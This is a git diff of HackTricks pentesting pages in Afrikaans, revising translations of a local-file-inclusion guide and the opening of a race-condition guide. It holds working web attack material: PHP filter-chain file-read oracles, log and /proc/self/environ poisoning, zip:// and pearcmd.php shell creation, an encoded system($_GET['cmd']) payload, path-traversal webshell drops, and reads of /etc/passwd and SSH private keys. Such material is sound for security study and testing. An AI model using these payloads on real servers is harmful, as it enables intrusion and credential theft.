-> Die gedeelte "php://filter" is nie sensitief vir hoof- en kleinletters nie
+> Die deel "php://filter" is nie-gevoelig vir hoof-/kleinletters nie
-### Gebruik van php filters as oracle om arbitrêre lêers te lees
+### Gebruik van php filters as oracle om ewekansige lêers te lees
-[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder dat die uitset deur die bediener teruggegee word. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak sodat php 'n uitsondering gooi.
+[**In hierdie pos**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) word 'n tegniek voorgestel om 'n plaaslike lêer te lees sonder om die uitset van die bediener terug te kry. Hierdie tegniek is gebaseer op 'n **boolean exfiltration of the file (char by char) using php filters** as oracle. Dit is omdat php filters gebruik kan word om 'n teks groot genoeg te maak dat php 'n uitsondering gooi.
-In die oorspronklike post vind jy 'n gedetaileerde uitleg van die tegniek, maar hier is 'n vinnige samevatting:
+In die oorspronklike pos vind jy 'n gedetaileerde verduideliking van die tegniek, maar hier is 'n kort samevatting:
-- Use the codec **`UCS-4LE`** om die leidende karakter van die teks aan die begin te laat staan en sodoende die stringgrootte eksponensieel te laat toeneem.
-- Dit sal gebruik word om 'n **teks te genereer wat so groot word wanneer die aanvanklike letter korrek geraai is** dat php 'n **error** sal veroorsaak.
+- Gebruik die codec **`UCS-4LE`** om die voorste karakter van die teks by die begin te laat en die stringgrootte eksponensieel te laat groei.
+- Dit sal gebruik word om 'n **teks te genereer wat so groot is dat, as die aanvanklike letter korrek geraai word, php 'n **error** sal veroorsaak**.
- Die **dechunk** filter sal **alles verwyder as die eerste char nie 'n hexadecimal is nie**, sodat ons kan weet of die eerste char hex is.
-- Dit, gekombineer met die vorige (en ander filters afhangend van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te sien wanneer ons genoeg transformasies doen om dit nie meer 'n hexadecimal karakter te laat wees nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal die php error veroorsaak.
-- Die codec **convert.iconv.UNICODE.CP930** transformeer elke letter na die volgende een (so na hierdie codec: a -> b). Dit stel ons in staat om te ontdek of die eerste letter byvoorbeeld 'n `a` is, want as ons 6 keer hierdie codec toepas a->b->c->d->e->f->g is die letter nie meer 'n hexadecimal karakter nie, daarom verwyder dechunk dit nie en die php error word geaktiveer omdat dit met die aanvanklike bom vermenigvuldig.
-- Deur ander transformasies soos **rot13** aan die begin te gebruik is dit moontlik om ander chars te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters in die hex-bereik te skuif).
-- Wanneer die aanvanklike char 'n getal is, is dit nodig om dit base64 te encode en die eerste 2 letters te leak om die getal te bepaal.
-- Die finale probleem is om te sien **hoe om meer te leak as die aanvanklike letter**. Deur order memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik is dit moontlik om die volgorde van die chars te verander en ander letters van die teks in die eerste posisie te kry.
-- En om verder data te kan verkry, is die idee om **2 bytes van junk data aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, toe te pas **UCS-4LE** om dit te **pivot with the next 2 bytes**, en d**verwyder die data tot by die rommeldata** (this will remove the first 2 bytes of the initial text). Gaan voort hiermee totdat jy by die gewenste bit kom om te leak.
+- Dit, gekombineer met die vorige een (en ander filters afhangende van die geraaide letter), sal ons toelaat om 'n letter aan die begin van die teks te raai deur te kyk wanneer ons genoeg transformasies doen sodat dit nie meer 'n hexadecimal karakter is nie. Want as dit hex is, sal dechunk dit nie verwyder nie en die aanvanklike bom sal 'n php error veroorsaak.
+- Die codec **convert.iconv.UNICODE.CP930** verander elke letter na die volgende een (dus na hierdie codec: a -> b). Dit laat ons byvoorbeeld ontdek of die eerste letter 'n `a` is omdat as ons 6 keer hierdie codec toe pas a->b->c->d->e->f->g die letter nie meer 'n hexadecimal karakter is nie, dus verwyder dechunk dit nie en word die php error getrigger omdat dit met die aanvanklike bom vermenigvuldig.
+- Deur ander transformasies soos **rot13** aan die begin te gebruik, is dit moontlik om ander karakters te leak soos n, o, p, q, r (en ander codecs kan gebruik word om ander letters na die hex-reeks te skuif).
+- Wanneer die aanvanklike char 'n nommer is, moet dit base64 encode word en die eerste 2 letters geleak word om die nommer te leak.
+- Die finale probleem is om te sien **hoe om meer as die aanvanklike letter te leak**. Deur volgorde-memory filters soos **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** te gebruik, is dit moontlik om die volgorde van die karakters te verander en ander letters van die teks in die eerste posisie te kry.
+- En om in staat te wees om **further data** te bekom, is die idee om **2 bytes rommeldata aan die begin te genereer** met **convert.iconv.UTF16.UTF16**, **UCS-4LE** toe te pas om dit te laat **pivot with the next 2 bytes**, en **verwyder die data tot by die rommeldata** (dit sal die eerste 2 bytes van die aanvanklike teks verwyder). Gaan voort hiermee totdat jy by die verlangde deel kom om te leak.
-In die post is daar ook 'n hulpmiddel gelek om dit outomaties uit te voer: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
+In die pos is daar ook 'n hulpmiddel gelek om dit outomaties uit te voer: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
-Hierdie wrapper maak dit moontlik om toegang te kry tot file descriptors wat die proses oop het. Potensieel nuttig om die exfiltrate inhoud van geopende lêers te bekom:
+Hierdie wrapper laat toe om by lêerbeskrywers te kom wat die proses oop het. Potensieel nuttig om die inhoud van geopende lêers te exfiltrate:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
-Jy kan ook **php://stdin, php://stdout and php://stderr** gebruik om toegang te kry tot die **file descriptors 0, 1 and 2** onderskeidelik (nie seker hoe dit in 'n aanval nuttig kan wees nie)
+Jy kan ook gebruik maak van **php://stdin, php://stdout and php://stderr** om onderskeidelik toegang tot die **file descriptors 0, 1 and 2** te kry (ek is nie seker hoe dit in 'n aanval nuttig kan wees nie)
### zip:// and rar://
Laai 'n Zip- of Rar-lêer met 'n PHPShell daarin op en kry toegang daartoe.\
-Om die rar-protokol te kan misbruik, moet dit **spesifiek geaktiveer** word.
+Om die rar protocol te kan misbruik, moet dit **spesifiek geaktiveer** word.
```bash
echo "" > payload.php;
zip payload.zip payload.php;
@@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
-Spesifiseer jou payload in die POST parameters:
+Spesifiseer jou payload in die POST-parameters:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data ""
```
### phar://
-'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik om lêers te laai. Die onderstaande PHP-kodefragment demonstreer die skep van 'n `.phar`-lêer:
+'n `.phar`-lêer kan gebruik word om PHP-kode uit te voer wanneer 'n webtoepassing funksies soos `include` gebruik vir lêerlaai. Die PHP-kodefragment hieronder toon die skepping van 'n `.phar`-lêer:
```php
[!WARNING]
-> Hierdie tegniek is relevant in gevalle waar jy die **file path** van 'n **PHP function** beheer wat 'n **access a file** sal doen maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**) maar die inhoud word nie gewys nie.
+> Hierdie tegniek is relevant in gevalle waar jy die **lêerpad** van 'n **PHP-funksie** beheer wat 'n **lêer sal toegang** maar jy sal nie die inhoud van die lêer sien nie (soos 'n eenvoudige oproep na **`file()`**), maar die inhoud nie getoon word nie.
-In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal via PHP filter misbruik kan word om **exfiltrate the content of a file via an error oracle**.
+In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) word verduidelik hoe 'n blind path traversal deur PHP filters misbruik kan word om die inhoud van 'n lêer via 'n error oracle te **exfiltrate**.
-In samevatting, die tegniek gebruik die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **big** te maak dat die **PHP function opening** die lêer 'n **error** sal veroorsaak.
+Kortom, die tegniek gebruik die **"UCS-4LE" encoding** om die inhoud van 'n lêer so **groot** te maak dat die **PHP-funksie wat die lêer oopmaak** 'n **fout** sal veroorsaak.
-Dan, om die eerste char te bepaal word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13** en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om **place other chars at the beggining and leak them**.
+Dan, om die eerste char te leak, word die filter **`dechunk`** gebruik saam met ander soos **base64** of **rot13**, en uiteindelik word die filters **convert.iconv.UCS-4.UCS-4LE** en **convert.iconv.UTF16.UTF-16BE** gebruik om ander chars aan die begin te plaas en daardie chars te leak.
-Funksies wat moontlik kwesbaar is: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
+Funksies wat dalk kwesbaar is: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
Vir die tegniese besonderhede, kyk die genoemde post!
@@ -427,22 +427,22 @@ Vir die tegniese besonderhede, kyk die genoemde post!
### Arbitrary File Write via Path Traversal (Webshell RCE)
-Wanneer server-side code wat files ingests/uploads die destination path bou met user-controlled data (bv. 'n filename of URL) sonder om dit te canonicalise en validate, kan `..` segments en absolute paths uit die bedoelde directory ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-exposed directory kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell te drop.
+As server-side kode wat lêers insluk/oplaai die bestemming-pad bou met gebruiker-beheerde data (bv. 'n lêernaam of URL) sonder om dit te kanoniseer en te valideer, kan `..` segmente en absolute paadjies uit die beoogde gids ontsnap en 'n arbitrary file write veroorsaak. As jy die payload onder 'n web-geëksposeerde gids kan plaas, kry jy gewoonlik unauthenticated RCE deur 'n webshell neer te sit.
-Tipiese exploitasie-werkvloei:
-- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n path/filename aanvaar en content na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
-- Bepaal web-exposed directories. Algemene voorbeelde:
+Tipiese uitbuitingstruktuur:
+- Identifiseer 'n write primitive in 'n endpoint of background worker wat 'n pad/lêernaam aanvaar en inhoud na disk skryf (bv. message-driven ingestion, XML/JSON command handlers, ZIP extractors, ens.).
+- Bepaal web-geëksposeerde gidse. Algemene voorbeelde:
- Apache/PHP: `/var/www/html/`
- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp`
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
-- Skep 'n traversal path wat uit die bedoelde storage directory in die webroot breek, en sluit jou webshell content in.
-- Blaai na die dropped payload en voer commands uit.
+- Bou 'n traversal-pad wat uit die beoogde stoor-gids breek na die webroot, en sluit jou webshell-inhoud in.
+- Blaai na die neergesette payload en voer opdragte uit.
-Nota:
-- Die vulnerable service wat die write uitvoer kan op 'n non-HTTP port luister (bv. 'n JMF XML listener op TCP 4004). Die hoof web portal (op 'n ander port) sal later jou payload bedien.
-- Op Java stacks word hierdie file writes dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan canonicalisation/allow-listing is die kernfout.
+Notas:
+- Die kwesbare diens wat die skryf uitvoer kan na 'n non-HTTP-poort luister (bv. 'n JMF XML-luisteraar op TCP 4004). Die hoof webportaal (ander poort) sal later jou payload dien.
+- Op Java-stakke word hierdie lêerskrywings dikwels geïmplementeer met eenvoudige `File`/`Paths` concatenation. Gebrek aan kanonisering/witlys is die kernfout.
-Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
+Generiese XML/JMF-styl voorbeeld (produk-skemas verskil – die DOCTYPE/body wrapper is irrelevant vir die traversal):
```xml
@@ -466,26 +466,26 @@ in.transferTo(out);
```
-Verharding wat hierdie klas foute neutraliseer:
-- Los op na 'n kanoniese pad en dwing af dat dit 'n subgids is van 'n allow-listed basisgids.
+Verharding wat hierdie klas foute teenwerk:
+- Los dit op na 'n kanoniese pad en dwing af dat dit binne 'n toegelate basisgids val.
- Weier enige pad wat `..`, absolute wortels, of skyfletters bevat; verkies gegenereerde lêernaam.
-- Voer die skrywer uit as 'n laag-geprivilegieerde gebruiker en skei skryfgidse van geserveerde wortels.
+- Laat die skrywer as 'n lae-bevoegdheidsrekening loop en skei skryfgidse van die geserveerde wortels.
## Remote File Inclusion
-Explained previously, [**volg hierdie skakel**](#remote-file-inclusion).
+Soos vroeër verduidelik, [**volg hierdie skakel**](#remote-file-inclusion).
### Deur Apache/Nginx loglêer
-As die Apache- of Nginx-bediener **vulnerable to LFI** binne die include function is, kan jy probeer om toegang te kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, plaas binne die **user agent** of in 'n **GET parameter** 'n PHP-shell soos **``** en daardie lêer include.
+As die Apache of Nginx-server **kwesbaar vir LFI** is in die include-funksie, kan jy probeer toegang te kry tot **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, die **user agent** of 'n **GET parameter** gebruik om 'n php shell soos **``** te plaas, en daardie lêer te include.
> [!WARNING]
-> Let wel dat **as jy dubbel-aanhalingstekens gebruik** vir die shell in plaas van **enkel-aanhalingstekens**, sal die dubbel-aanhalingstekens verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
+> Let daarop dat **as jy dubbel aanhalingstekens gebruik** vir die shell in plaas van **enkele aanhalingstekens**, sal die dubbel aanhalingstekens verander word na die string "_**quote;**_", **PHP sal 'n fout gooi** daar en **niks anders sal uitgevoer word**.
>
-> Maak ook seker dat jy die payload **korrek skryf**, anders sal PHP elke keer 'n fout gee wanneer dit probeer om die log-lêer te laai en jy sal nie 'n tweede geleentheid hê nie.
+> Maak ook seker dat jy die **payload reg skryf** of PHP sal elke keer 'n fout gee wanneer dit probeer om die loglêer te laai en jy sal nie 'n tweede geleentheid hê nie.
-Dit kan ook in ander logs gedoen word maar **wees versigtig,** die kode binne die logs kan URL-geënkodeer wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word in die logs gedekodeer. Die PHPShell kan in hierdie header ingevoeg word.\
-Ander moontlike logpaaie:
+Dit kan ook in ander logs gedoen word maar **wees versigtig,** die kode binne die logs kan URL-geënkodeer wees en dit kan die Shell vernietig. Die header **authorisation "basic"** bevat "user:password" in Base64 en dit word in die logs gedekodeer. Die PHPShell kan binne hierdie header ingevoeg word.\
+Ander moontlike logpade:
```python
/var/log/apache2/access.log
/var/log/apache/access.log
@@ -499,33 +499,33 @@ Ander moontlike logpaaie:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
-### Per e-pos
+### Via E-pos
-**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `` en probeer om die e-pos van die gebruiker in te sluit met 'n pad soos **`/var/mail/`** of **`/var/spool/mail/`**
+**Stuur 'n e-pos** na 'n interne rekening (user@localhost) wat jou PHP payload bevat soos `` en probeer die e-pos van die gebruiker insluit met 'n pad soos **`/var/mail/`** of **`/var/spool/mail/`**
-### Per /proc/*/fd/*
+### Via /proc/*/fd/*
-1. Laai baie shells op (byvoorbeeld : 100)
-2. Sluit [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD) in, met $PID = PID van die proses (kan brute forced word) en $FD die file descriptor (kan ook brute forced word)
+1. Laai baie shells op (byvoorbeeld: 100)
+2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), met $PID = PID van die proses (kan met brute force deurkraak word) en $FD = die lêerbeskrywer (kan ook met brute force deurkraak word)
-### Per /proc/self/environ
+### Via /proc/self/environ
-Soortgelyk aan 'n log-lêer, stuur die payload in die User-Agent; dit sal binne die /proc/self/environ-lêer weerspieël word
+Soos 'n loglêer, stuur die payload in die User-Agent; dit sal weerspieël word binne die /proc/self/environ-lêer
```
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent:
```
-### Via upload
+### Via oplaai
-As jy 'n lêer kan upload, inject net die shell payload daarin (bv: ``).
+As jy 'n lêer kan oplaai, injekteer net die shell payload daarin (bv.: ``).
```
http://example.com/index.php?page=path/to/uploaded/file.png
```
-Om die lêer leesbaar te hou, is dit die beste om dit in die metadata van beelde/doc/pdf in te voeg
+Om die lêer leesbaar te hou, is dit die beste om in die metadata van die foto's/doc/pdf in te voeg
-### Via ZIP-lêer op laai
+### Via ZIP-lêer oplaai
-Laai 'n ZIP-lêer op wat 'n gecomprimeerde PHP shell bevat en kry toegang:
+Laai 'n ZIP-lêer op wat 'n PHP shell saamgepak bevat en kry toegang:
```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```
@@ -536,7 +536,7 @@ Kontroleer of die webwerf PHP Session (PHPSESSID) gebruik
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
-In PHP word hierdie sessies in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers gestoor
+In PHP word hierdie sessions gestoor in _/var/lib/php5/sess\\_\[PHPSESSID]\_ lêers
```
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
@@ -551,73 +551,68 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
```
### Deur ssh
-As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang kry tot **\/.ssh/id_rsa**
+As ssh aktief is, kyk watter gebruiker gebruik word (/proc/self/status & /etc/passwd) en probeer toegang tot **\/.ssh/id_rsa** kry.
-### **Deur** **vsftpd** _**loglêers**_
+### **Deur** **vsftpd** _**logs**_
-Die loglêers vir die FTP-bediener vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
+Die logs vir die FTP-server vsftpd is geleë by _**/var/log/vsftpd.log**_. In die scenario waar 'n Local File Inclusion (LFI) kwesbaarheid bestaan, en toegang tot 'n blootgestelde vsftpd-bediener moontlik is, kan die volgende stappe oorweeg word:
-1. Injekteer 'n PHP payload in die gebruikersnaamveld tydens die aanmeldproses.
-2. Na die injeksie gebruik die LFI om die bediener-loglêers van _**/var/log/vsftpd.log**_ te onttrek.
+1. Inject a PHP payload into the username field during the login process.
+2. Na injeksie, gebruik die LFI om die bedienerlogs van _**/var/log/vsftpd.log**_ te onttrek.
-### Deur php base64 filter (using base64)
+### Deur php base64 filter (gebruik base64)
-Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, die PHP base64-filter ignoreer nie-base64. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", sal dit die "." ignoreer en "php" by die base64 aanheg. Hier is 'n voorbeeld-payload:
+Soos getoon in [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) artikel, die PHP base64-filter ignoreer nie-base64-karakters. Jy kan dit gebruik om die lêeruitbreidingkontrole te omseil: as jy base64 verskaf wat eindig met ".php", sal dit die "." ignoreer en "php" by die base64 heg. Hier is 'n voorbeeld payload:
```url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
NOTE: the payload is ""
```
-### Via php filters (geen lêer nodig)
-
-This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters** kan gebruik om enige inhoud as output te genereer. Dit beteken basies dat jy **enige php code** kan genereer vir die include **sonder om dit in 'n lêer te skryf**.
+### Deur php filters (geen lêer nodig nie)
+Hierdie [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) verduidelik dat jy **php filters to generate arbitrary content** as output kan gebruik. Dit beteken basies dat jy **generate arbitrary php code** vir die include kan kry **sonder om dit in 'n lêer te skryf**.
{{#ref}}
lfi2rce-via-php-filters.md
{{#endref}}
-### Via segmentation fault
-
-**Upload** 'n lêer wat as **temporary** in `/tmp` gestoor word, veroorsaak dan in die **selfde request** 'n **segmentation fault**, en die **temporary file sal dan nie verwyder word nie** en jy kan daarna soek.
+### Deur segmentation fault
+**Upload** 'n lêer wat as **temporary** in `/tmp` gestoor sal word, dan in die **same request,** 'n **segmentation fault** veroorsaak, en dan sal die **temporary file won't be deleted** — waarna jy daarna kan soek.
{{#ref}}
lfi2rce-via-segmentation-fault.md
{{#endref}}
-### Via Nginx temp file storage
-
-As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy moontlik RCE verkry met die volgende tegniek:
+### Deur Nginx temp file storage
+As jy 'n **Local File Inclusion** gevind het en **Nginx** voor PHP loop, kan jy dalk RCE verkry met die volgende tegniek:
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
-### Via PHP_SESSION_UPLOAD_PROGRESS
-
-As jy 'n **Local File Inclusion** gevind het selfs al het jy **nie 'n session** nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **session vir jou aktiveer**. Jy kan dit misbruik om RCE te kry:
+### Deur PHP_SESSION_UPLOAD_PROGRESS
+As jy 'n **Local File Inclusion** gevind het, selfs al het jy nie 'n sessie nie en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te kry:
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
-### Via temp file uploads in Windows
-
-As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy moontlik RCE kry:
+### Deur temp file uploads in Windows
+As jy 'n **Local File Inclusion** gevind het en die bediener op **Windows** loop, kan jy dalk RCE kry:
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
-### Via `pearcmd.php` + URL args
+### Deur `pearcmd.php` + URL args
-As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), die script `/usr/local/lib/phppearcmd.php` bestaan standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat aangedui word dat as 'n URL-param geen `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
+Soos [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), bestaan die script `/usr/local/lib/phppearcmd.php` standaard in php docker images. Verder is dit moontlik om argumente aan die script via die URL deur te gee omdat aangedui word dat as 'n URL param nie 'n `=` het nie, dit as 'n argument gebruik moet word. Sien ook [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) en [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
-Die volgende versoek skep 'n lêer in `/tmp/hello.php` met die inhoud ``:
+Die volgende request skep 'n lêer in `/tmp/hello.php` met die inhoud ``:
```bash
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1
```
@@ -630,7 +625,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
```
### Deur phpinfo() (file_uploads = on)
-As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** met file_uploads = on openbaar maak, kan jy RCE kry:
+As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** openbaar met file_uploads = on, kan jy RCE kry:
{{#ref}}
@@ -639,7 +634,7 @@ lfi2rce-via-phpinfo.md
### Deur compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
-As jy 'n **Local File Inclusion** gevind het en jy **can exfiltrate the path** of the temp file, MAAR die **server** is **checking** of die **file to be included has PHP marks**, kan jy probeer om daardie **check** te **bypass** met hierdie **Race Condition**:
+As jy 'n **Local File Inclusion** gevind het en jy die pad van die temp file kan exfiltrate MAAR die **server** kontroleer of die **lêer wat ingesluit word PHP-merke het**, kan jy probeer om daardie kontrole te omseil met hierdie **Race Condition**:
{{#ref}}
@@ -648,19 +643,19 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Deur eternal waiting + bruteforce
-As jy die LFI kan misbruik om **upload temporary files** en die server die PHP-uitvoering laat **hang**, kan jy dan **brute force filenames during hours** om die temporary file te vind:
+As jy die LFI kan misbruik om **temporary files** op te laai en die server die PHP-uitvoering te laat **hang**, kan jy dan **brute force** lêernaam deur ure probeer om die temporary file te vind:
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
-### Tot Fatal Error
+### Na Fatal Error
-If you include any of the files `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Jy moet dieselfde een 2 time include om daardie fout te gooi).
+As jy enige van die lêers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar` insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).
-**Ek weet nie hoe dit nuttig is nie maar dit kan wees.**\
-_Selfs al veroorsaak jy 'n PHP Fatal Error, PHP-tydelike lêers wat opgelaai is, word verwyder._
+**Ek weet nie hoe dit nuttig is nie, maar dit kan wees.**\
+_Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
.png)
diff --git a/src/pentesting-web/race-condition.md b/src/pentesting-web/race-condition.md
index bec674f4f..21d65f4d4 100644
--- a/src/pentesting-web/race-condition.md
+++ b/src/pentesting-web/race-condition.md
@@ -3,56 +3,56 @@
{{#include ../banners/hacktricks-training.md}}
> [!WARNING]
-> Vir 'n diep begrip van hierdie tegniek, sien die oorspronklike verslag by [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
+> Vir ’n diep begrip van hierdie tegniek, kyk die oorspronklike verslag by [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Verbetering van Race Condition-aanvalle
-Die grootste struikelblok om voordeel te trek uit race conditions is om te verseker dat meerdere requests terselfdertyd hanteer word, met **baie min verskil in hul verwerkingstye—ideaal minder as 1ms**.
+Die grootste struikelblok om voordeel te trek uit race conditions is om seker te maak dat meerdere requests terselfdertyd verwerk word, met **baie min verskil in hul verwerkingstye — idealiter minder as 1ms**.
-Hier kan jy 'n paar tegnieke vind om requests te sinkroniseer:
+Hier volg ’n paar tegnieke vir die sinkronisering van requests:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
-- **HTTP/2**: Ondersteun die stuur van twee requests oor 'n enkele TCP-verbinding, wat die impak van netwerk-jitter verminder. Weens bediener-side variasies mag twee requests egter nie genoeg wees vir 'n konsekwente race condition-uitbuiting nie.
-- **HTTP/1.1 'Last-Byte Sync'**: Maak dit moontlik om die meeste dele van 20-30 requests vooraf te stuur, terwyl 'n klein fragment teruggehou word, wat dan saam gestuur word, en sodoende gelyktydige aankoms by die bediener bereik.
+- **HTTP/2**: Ondersteun die stuur van twee requests oor ’n enkele TCP-verbinding, wat die impak van netwerkjitter verminder. As gevolg van variasies aan die bedienerkant mag twee requests egter nie genoeg wees vir ’n konsekwente race condition exploit nie.
+- **HTTP/1.1 'Last-Byte Sync'**: Maak dit moontlik om die meeste dele van 20–30 requests vooraf te stuur, terwyl ’n klein fragment teruggehou word, wat dan saamgestuur word en ’n gelyktydige aankoms by die bediener bewerkstellig.
-**Voorbereiding vir Last-Byte Sync** behels:
+Voorbereiding vir Last-Byte Sync behels:
-1. Stuur headers en body-data minus die laaste byte sonder om die stroom te beëindig.
-2. Pouseer vir 100ms na die aanvanklike stuur.
-3. Deaktiveer TCP_NODELAY om Nagle's algorithm te gebruik vir die groepering van finale frames.
-4. Pinging om die verbinding op te warm.
+1. Stuur headers en body data minus die finale byte sonder om die stream te beëindig.
+2. Pauzeer vir 100ms na die aanvanklike stuur.
+3. Skakel TCP_NODELAY af om Nagle's algorithm te gebruik vir die saamvoeging van finale frames.
+4. Pings stuur om die verbinding te warm te maak.
-Die daaropvolgende stuur van die teruggehoue frames behoort tot hul aankoms in 'n enkele pakket te lei, wat met Wireshark verifieerbaar is. Hierdie metode is nie van toepassing op statiese lêers nie, wat gewoonlik nie by RC attacks betrokke is nie.
